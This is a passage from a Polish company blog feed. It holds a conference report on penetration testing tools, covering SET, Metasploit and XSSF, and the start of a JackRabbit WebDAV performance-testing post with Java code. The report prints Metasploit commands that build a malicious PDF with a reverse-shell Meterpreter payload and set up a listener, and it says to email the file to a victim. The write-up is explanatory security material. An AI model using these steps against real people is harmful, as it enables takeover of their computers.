<p><span style="font-weight: normal"><span id="more-1366"></span></span></p>
<h3>Co to są testy penetracyjne?</h3>
<p>Testy penetracyjne są to procesy mające na celu ocenę bezpieczeństwa systemu teleinformatycznego. Metody używane do przeprowadzania testów penetracyjnych wykorzystują techniki penetracji używane w realnych atakach.</p>
<h3>Cele przeprowadzania testów penetracyjnych:</h3>
<ol>
<li>wykrycie luk bezpieczeństwa w systemach teleinformatycznych;</li>
<li>przedstawienie skutków wykorzystania znalezionych błędów przez hackerów;</li>
<li>zaproponowanie rozwiązań poprawiających wykrytą lukę;</li>
<li>określenie czasu potrzebnego na złamanie systemu zabezpieczeń.</li>
</ol>
<h3>Zalety przeprowadzania testów penetracyjnych:</h3>
<ol>
<li>zapobieganie strat finansowych w wyniku oszustwa (hakerzy, szantażyści, niezadowoleni pracownicy);</li>
<li>uniknięcie odpowiedzialności za utratę poufnych danych klientów;</li>
<li>zapobieganie utraty zaufania konsumentów i reputacji firmy.</li>
</ol>
<h3>Rodzaje testów penetracyjnych:</h3>
<ol>
<li><strong>white Box</strong> &#8211; atakujący dysponuje pełną wiedzą na temat badanego systemu, jego architektury i zastosowanych technologiach (kody źródłowe, środowiska wykonania);</li>
<li><strong>grey Box</strong> &#8211; atakujący posiada szczątkową wiedzę na temat badanego systemu;</li>
<li><strong>black Box</strong> &#8211; atakujący nie posiada wiedzy na temat badanego systemu; ten rodzaj najbardziej odzwierciedla rzeczywistą wiedzę atakującego.</li>
</ol>
<p>W przypadku, gdy posiadamy pełną wiedzę o systemie, powinniśmy zdecydować się na testy typu White Box. Ten rodzaj testów pozwoli nam na odnalezienie największej liczby luk w systemie w najkrótszym czasie. Ich wadą jest natomiast udostępnienie danych projektowych dla osób przeprowadzających testy.</p>
<h3>Rodzaje błędów sprawdzanych podczas testów penetracyjnych:</h3>
<ul>
<li><strong>SQL injection</strong> &#8211; luka zabezpieczeń aplikacji polegająca na braku lub nieodpowiednim filtrowaniu i wykonywaniu danych przesyłanych przez użytkownika w postaci zapytań SQL do bazy danych.<br />
Zagrożenia: zdalny dostęp do bazy danych, przejęcie kontroli nad bazą danych lub systemem operacyjnym.</li>
<li><strong>Cross-site scriptin(XSS)</strong> &#8211; luka w systemie zabezpieczeń aplikacji internetowych umożliwiająca użytkownikowi osadzenie własnego kodu w treści atakowanej strony. Osadzony kod może doprowadzić do wykonania niepożądanych przez użytkownika operacji lub obejść kontrole dostępu do danych.<br />
Zagrożenia: dostęp do kont zalogowanych użytkowników, kontrola nad przeglądarką użytkownika, atak typu spoofing (phishing), przechwytywanie  danych przeglądarki.</li>
<li><strong>Remote File Inclusion      (RFI)</strong> &#8211; luka występująca najczęściej na stronach internetowych,      pozwalająca użytkownikowi na umieszczenie na serwerze pliku za pomocą skryptu na stronie. Luka spowodowana jest brakiem odpowiedniej kontroli nad wysyłanymi na serwer plikami. Wykorzystanie tej luki może doprowadzić do wykonania na serwerze kodu użytkownika, wykonanie kodu użytkownika po stronie innego użytkownika oraz kradzieży danych.<br />
Zagrożenia: przejęcie kontroli nad systemem.</li>
<li><strong>Cross Site Request Forgeries (CSRF)</strong> &#8211; atak polegający na wykorzystaniu przeglądarki internetowej użytkownika (atakowanego) do wysyłania żądań http bez jego wiedzy. Celem atakującego jest wykorzystanie uprawnień ofiary do wykonania nieuprawnionej operacji.<br />
Zagrożenia: przejęcie kontroli nad przeglądarką użytkownika, dostęp do operacji wykonywanych przez uprawnione do serwisu osoby.</li>
<li><strong>Denial of Service (DoS)</strong> &#8211; atak mający na celu uniemożliwienie użytkownikom skorzystania z zasobów lub usług systemu komputerowego.<br />
Zagrożenia: wyłączenie aplikacji, zablokowanie dostępu do aplikacji dla uprawnionych użytkowników.</li>
<li><strong>Distributed Denial of Service (DDoS) </strong>- odmiana ataku DoS polegająca na jednoczesnym atakowaniu ofiary z wielu miejsc.</li>
<li><strong>File Inclusion, Logic Flaws, Path Traversal, Insecure Communications , Malicious Code Execution</strong> i wiele innych.</li>
</ul>
<h3>Narzędzia do testów penetracyjnych</h3>
<h4>Social-Engineer Toolkit (SET)</h4>
<p>Social-Engineer Toolkit (SET) jest to zbiór gotowych narzędzi do przeprowadzania socjotechnicznych testów penetracyjnych.</p>
<p><a href="http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29">http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29</a></p>
<p><strong>Możliwości programu</strong></p>
<ol>
<li><strong>Spear-phishing attack</strong> &#8211; metoda ataku z użyciem wiadomości e-mail.<br />
Moduł ten umożliwia przygotowanie wiadomości e-mail z dołączonym plikiem zawierającym szkodliwe oprogramowanie oraz przesłanie jej na e-mail      ofiary.</li>
<li><strong>Website Attack Vectors</strong> &#8211; atak z wykorzystaniem przygotowanego linku.<br />
Możliwe rodzaje ataku:</p>
<ol>
<li>The Java Applet Attack Method</li>
<li>The Metasploit Browser Exploit Method</li>
<li>Credential Harvester Attack Method</li>
<li>Tabnabbing Attack Method</li>
<li>Man Left in the Middle Attack Method</li>
<li>Web Jacking Attack Method</li>
<li>Multi-Attack Web Method</li>
</ol>
</li>
<li><strong>Infectious Media Generator</strong> &#8211; atak z wykorzystaniem pamięci przenośnych<br />
Kreator DVD/USB nagrywa na nośnik danych zainfekowany plik autorun.inf, który jest automatycznie uruchamiany podczas otwarcia pamięci.</li>
<li><strong>Create a Payload and Listener</strong> &#8211; atak z wykorzystaniem zainfekowanego pliku *.exe<br />
Narzędzie tworzy zainfekowany plik *.exe oraz uruchamia dedykowane nasłuchiwanie.</li>
<li><strong>Mass Mailer Attack</strong> &#8211; masowe wysyłanie wiadomości e-mail.</li>
<li><strong>Teensy USB HID Attack Vector</strong> &#8211; atak z wykorzystaniem &#8216;Teensy USB&#8217;.<br />
Atak wymaga zakupu urządzenia &#8216;Teensy USB&#8217; i pozwala na zaprogramowanie urządzenia tak, aby wykonało atak na ofiarę i udawało klawiaturę.</li>
</ol>
<h3>Metasploit + XSSF</h3>
<p>XSS Framework (XSSF) jest częścią Metasploit Framework. XSSF umożliwia zarządzanie ofiarami ataku XSS oraz podtrzymuje istniejące połączenie w celu późniejszego ataku. Po wstrzyknięciu do ofiary wygenerowanej przez XSSF pętli, każda ofiara odpytuje serwer i jeżeli dostępne są nowe komendy, wykonuje je.</p>
<p>Możliwości rozwiązania przedstawiają zamieszczone poniżej linki do wideo:<br />
XSS Attacks: <a href="http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-1-video.aspx">http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-1-video.aspx</a><br />
XSS Tunnel: <a href="http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-2-video.aspx">http://securitytube.net/XSSF-%28Attacking-with-XSS-using-Metasploit%29-Part-2-video.aspx</a></p>
<h3>Ataki przedstawione przez Piotra Koniecznego na konferencji &#8222;infoShare 2011&#8243;</h3>
<h4>Atak z wykorzystaniem narzędzia Metasploit &#8211; 0day PDF Exploit</h4>
<p>0day PDF Exploit pozwala na przejęcie kontroli nad atakowanym komputerem, wykorzystując do tego celu lukę w aplikacji Adobe Acrobat Reader.<br />
Luka została opisana na stronie <a href="http://niebezpiecznik.pl/post/nowy-exploit-na-adobe-acrobatreader/">http://niebezpiecznik.pl/post/nowy-exploit-na-adobe-acrobatreader/</a> .</p>
<p>Tworzenie pliku pdf:</p>
<pre>msf exploit(adobe_cooltype_sing) &gt; set filename plik.pdf</pre>
<pre>filename =&gt; plik.pdf</pre>
<pre>msf exploit(adobe_cooltype_sing) &gt; set outputpath /Users/Dom</pre>
<pre>outputpath =&gt; /Users/Dom</pre>
<pre>msf exploit(adobe_cooltype_sing) &gt; set payload windows/meterpreter/reverse_tcp</pre>
<pre>payload =&gt; windows/meterpreter/reverse_tcp</pre>
<pre>msf exploit(adobe_cooltype_sing) &gt; set LHOST 192.168.0.4</pre>
<pre>LHOST =&gt; 192.168.0.4</pre>
<pre>msf exploit(adobe_cooltype_sing) &gt; exploit</pre>
<pre>[*] Started reverse handler on 192.168.0.4:4444</pre>
<pre>[*] Creating 'plik.pdf' file...</pre>
<pre>[*] Generated output file /Users/Dom/plik.pdf</pre>
<pre>[*] Exploit completed, but no session was created.</pre>
<p>Wygenerowany plik pdf wystarczy wysłać jako załącznik wiadomości e-mail lub udostępnić atakowanej osobie. Po otwarciu pliku pdf komputer osoby atakowanej nawiąże połączenie z naszym komputerem.</p>
<p>Odbiór połączeń:</p>
<pre>msf exploit(adobe_cooltype_sing) &gt; use multi/handler</pre>
<pre>msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp</pre>
<pre>payload =&gt; windows/meterpreter/reverse_tcp</pre>
<pre>msf exploit(handler) &gt; set LHOST 192.168.0.4</pre>
<pre>LHOST =&gt; 192.168.0.4</pre>
<pre>msf exploit(handler) &gt; exploit</pre>
<pre>[*] Started reverse handler on 192.168.0.4:4444</pre>
<pre>[*] Starting the payload handler...</pre>
<p>Po nawiązaniu połączenia z ofiarą mamy pełną kontrolę nad jej systemem.</p>
<h4>Atak z wykorzystaniem narzędzia SET</h4>
<p>Na wykładzie zostały wykonane ataki metodą &#8222;Website Attack Vectors&#8221; oraz &#8222;Spear-Phishing Attack Vector&#8221;. Ataki zakończyły się powodzeniem oraz ukazały, jak łatwo wykorzystać narzędzie &#8222;SET&#8221; do przejęcia danych ofiary.</p>
<h3>Podsumowanie</h3>
<p>Zainteresowanie wykładem Piotra Koniecznego było niebezpodstawne. Wszystkie przedstawione przez autora problemy aplikacji i ich podatność na ataki okazały się nam bliższe niż moglibyśmy sądzić. Dostępność i prostota użycia profesjonalnych narzędzi do przeprowadzania testów penetracyjnych może sprawić, iż każdy z nas przez chwilę poczuje się jak haker. Wykonane przez Piotra Koniecznego testy wykazały 30% skuteczności ataków typu &#8222;Website Attack Vectors&#8221;. Uważam, że wykład &#8222;Narzędzia Hakerów&#8221; był najbardziej interesującym wykładem tego dnia konferencji. Zachęcam wszystkich do czytania bloga Piotra Koniecznego <a href="http://niebezpiecznik.pl/">http://niebezpiecznik.pl/</a> .</p>
<p><strong>Zasoby w sieci</strong></p>
<ol>
<li><a href="http://niebezpiecznik.pl/">http://niebezpiecznik.pl/</a> &#8211; Strona Piotra Koniecznego</li>
<li><a href="http://infoshare.pl/2011-2/program/#d2_T7">http://infoshare.pl/2011-2/program/#d2_T7</a> &#8211; Strona Konferencji infoShare 2011</li>
<li><a href="http://www.metasploit.com/">http://www.metasploit.com</a> &#8211; narzędzia Metasploit</li>
<li><a href="http://dev.metasploit.com/redmine/issues/2995">http://dev.metasploit.com/redmine/issues/2995</a> &#8211; Opis narzędzia Metasploit + XSSF</li>
<li><a href="http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29">http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_%28SET%29</a> &#8211; narzędzia SET</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/kazdy-z-nas-moze-byc-hakerem/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Badanie wydajności repozytorium plików JackRabbit</title>
		<link>http://blog.atena.pl/badanie-wydajnosci-repozytorium-plikow-jackrabbit</link>
		<comments>http://blog.atena.pl/badanie-wydajnosci-repozytorium-plikow-jackrabbit#comments</comments>
		<pubDate>Fri, 14 Jan 2011 13:16:26 +0000</pubDate>
		<dc:creator>Marcin Garniewski</dc:creator>
				<category><![CDATA[JMeter]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Narzędzia]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=1160</guid>
		<description><![CDATA[Apache JackRabbit jest znaną i uznaną biblioteką implementującą standard JSR-170 czyli repozytorium treści. Potrafi przechowywać w hierarchiczny sposób z obsługą ustrukturyzowanych oraz nieustrukturyzowanych danych, z możliwością ich tekstowego przeszukiwania, zarządzania wersjami itp. Jednym z interfejsów dostępu do JackRabbit jest WebDAV. Celem tego artykułu jest pokazanie jak można przetestować wydajność podstawowych operacji zapisu i odczytu plików komunikując [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://jackrabbit.apache.org" target="_blank">Apache JackRabbit</a> jest znaną i uznaną biblioteką implementującą standard JSR-170 czyli repozytorium treści. Potrafi przechowywać w hierarchiczny sposób z obsługą ustrukturyzowanych oraz nieustrukturyzowanych danych, z możliwością ich tekstowego przeszukiwania, zarządzania wersjami itp. Jednym z interfejsów dostępu do JackRabbit jest WebDAV. Celem tego artykułu jest pokazanie jak można przetestować wydajność podstawowych operacji zapisu i odczytu plików komunikując się z repozytorium poprzez interfejs WebDAV. Wykorzystam do tego niezastąpiony Apache JMeter.</p>
<p><span id="more-1160"></span></p>
<p><strong>Metodologia testu</strong></p>
<p>Interfejs WebDAV oferuje szeroki zakres funkcjonalności. Na potrzeby testu wybrałem tylko kilku podstawowych metod: PUT (wysłanie pliku), GET (pobranie pliku), LIST (lista wszystkich plików w węźle) oraz DELETE (usunięcie pliku). Niestety, interfejs WebDAV jest rozszerzeniem standardu dlatego standardowe komponenty JMetera nie są w stanie wygenerować prawidłowych żądań. Dlatego utworzymy bibliotekę dostępu do wybranych metod WebDAV, a następnie będziemy wywoływać metody przy pomocy komponentu JMetera &#8222;Java Request&#8221;.</p>
<p><strong>Uruchomienie JackRabbit</strong></p>
<p>Zacznijmy od uruchomienia repozytorium. JackRabbit można uruchomić w różnych środowiskach i konfiguracjach. Wszystkie możliwości zaprezentowane są <a href="http://jackrabbit.apache.org/deployment-models.html" target="_blank">tutaj</a>. Na potrzeby naszego testu uruchomimy JackRabbit jako moduł WAR na serwerze JBoss 5.1.  W tym celu ściągamy stabilną wersję aplikacji jackrabbit-webapp-X.X.X.war ze strony  <a title="download" href="http://jackrabbit.apache.org/downloads.html" target="_blank">http://jackrabbit.apache.org/downloads.html</a>. Następnie za radą <a href="http://wiki.apache.org/jackrabbit/JackrabbitOnJBoss">FAQ Jackrabbita</a> musimy usunąć z niej biblioteki: WEB-INF\lib\xercesImpl-2.9.0.jar oraz WEB-INF\lib\xml-apis-1.3.04.jar. Wynika to z tego, że te biblioteki istnieją już w dystrybucji Jboss-a. Umieszczenie ich dodatkowo w aplikacji WAR prowadzi do konfliktu. Innym rozwiązaniem jest zmiana konfiguracji classloaderów w JBoss.</p>
<p>Po uruchomieniu jboss-a aplikacja JackRabbit jest dostępna na przykład pod adresem http:\\localhost:8080\jackrabbit. Domyślnie pod tym adresem dostępna jest strona z dokumentacją, opisem standardów, FAQ, tutorialami itp. Z innych ciekawych rzeczy mamy do dyspozycji browser, wyszukiwarkę treści oraz tzw: &#8222;Zasilacz treści&#8221; (ang. Populate).  Zasilenie polega na losowym wygenerowaniu i zapisaniu do repozytorium różnego rodzaju plików. Opcja przydatna przy przeprowadzaniu testów. My nie będziemy leniwi i sami zasilimy repozytorium własnymi danymi.</p>
<p><strong>Projekt biblioteki dostępu do JackRabbit za pomocą WebDav</strong></p>
<p>Api JackRabbita zawiera cały zestaw metod służących do wykonywania wszystkich dostępnych metod interfejsu WebDAV. Metody te są zawarte w pakiecie: “org.apache.jackrabbit.webdav.client.methods”. Przykładowy kod uruchomienia metody PUT może wyglądać następująco:</p>
<div class="codecolorer-container java default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br /></div></td><td><div class="java codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">pl.atena.webdav</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.IOException</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.commons.httpclient.HostConfiguration</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.commons.httpclient.HttpClient</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.commons.httpclient.methods.ByteArrayRequestEntity</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.commons.httpclient.methods.RequestEntity</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jackrabbit.webdav.client.methods.PutMethod</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.log4j.Logger</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> PutWebDav <span style="color: #000000; font-weight: bold;">extends</span> AbstractWebDav <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">static</span> Logger log <span style="color: #339933;">=</span> Logger.<span style="color: #006633;">getLogger</span><span style="color: #009900;">&#40;</span>PutWebDav.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> PutWebDav<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> PutWebDav<span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> webDavUrl<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">super</span><span style="color: #009900;">&#40;</span>webDavUrl<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> putFile<span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">final</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> fileName, <span style="color: #000000; font-weight: bold;">final</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> destName<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> bytes <span style="color: #339933;">=</span> readFile<span style="color: #009900;">&#40;</span>fileName<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; putFile<span style="color: #009900;">&#40;</span>bytes, destName<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> putFile<span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">final</span> <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> bytes, <span style="color: #000000; font-weight: bold;">final</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> destName<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HttpClient client <span style="color: #339933;">=</span> initHttpClient<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; PutMethod method <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> PutMethod<span style="color: #009900;">&#40;</span>getWebDavUrl<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> destName<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; RequestEntity requestEntity <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ByteArrayRequestEntity<span style="color: #009900;">&#40;</span>bytes<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; method.<span style="color: #006633;">setRequestEntity</span><span style="color: #009900;">&#40;</span>requestEntity<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HostConfiguration conf <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> HostConfiguration<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">do</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responseCode <span style="color: #339933;">=</span> client.<span style="color: #006633;">executeMethod</span><span style="color: #009900;">&#40;</span>conf, method<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; errorCounter<span style="color: #339933;">--;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>responseCode <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">400</span> <span style="color: #339933;">&amp;&amp;</span> errorCounter <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aioexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">IOException</span></a> e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.<span style="color: #006633;">error</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>Warto zwrócić uwagę na pętlę do{&#8230; }while. Służy ona do zmniejszenia ryzyka wystąpienia błędu jednoczesnej modyfikacji węzła. Sytuacja taka wystąpi, gdy równolegle dwóch lub więcej klientów wykonuje operację dodawania/usuwanie/modyfikacji pliku w tym samym węźle. Jest to spowodowane tym, że podczas tych operacji wykonywane są również modyfikacje na węźle, co przy równoległej pracy prowadzi do błędu HTTP 409 (Konflikt). W celu rozwiązania tego problemu operację wykonuję w pętli. Jeśli za pierwszym razem wystąpił błąd, próbuję wykonać ją ponownie. Liczba prób nie może przekroczyć dziesięciu, po tym metoda kończy działanie i zwraca kod błędu.<br />
Kod metody List:</p>
<div class="codecolorer-container java default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br /></div></td><td><div class="java codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">pl.atena.webdav</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.ArrayList</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.Collections</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.List</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.commons.httpclient.HttpClient</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jackrabbit.webdav.DavConstants</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jackrabbit.webdav.MultiStatus</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jackrabbit.webdav.MultiStatusResponse</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jackrabbit.webdav.client.methods.DavMethod</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.jackrabbit.webdav.client.methods.PropFindMethod</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.apache.log4j.Logger</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">pl.atena.webdav.utils.Utils</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #008000; font-style: italic; font-weight: bold;">/**<br />
* Lista wszystkich plików w podanym węźle<br />
*/</span><br />
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ListWebDav <span style="color: #000000; font-weight: bold;">extends</span> AbstractWebDav <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">static</span> Logger log <span style="color: #339933;">=</span> Logger.<span style="color: #006633;">getLogger</span><span style="color: #009900;">&#40;</span>ListWebDav.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> ListWebDav<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> ListWebDav<span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> webDavUrl<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">super</span><span style="color: #009900;">&#40;</span>webDavUrl<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> List<span style="color: #339933;">&lt;</span>String<span style="color: #339933;">&gt;</span> listFiles<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>String<span style="color: #339933;">&gt;</span> list <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ArrayList<span style="color: #339933;">&lt;</span>String<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
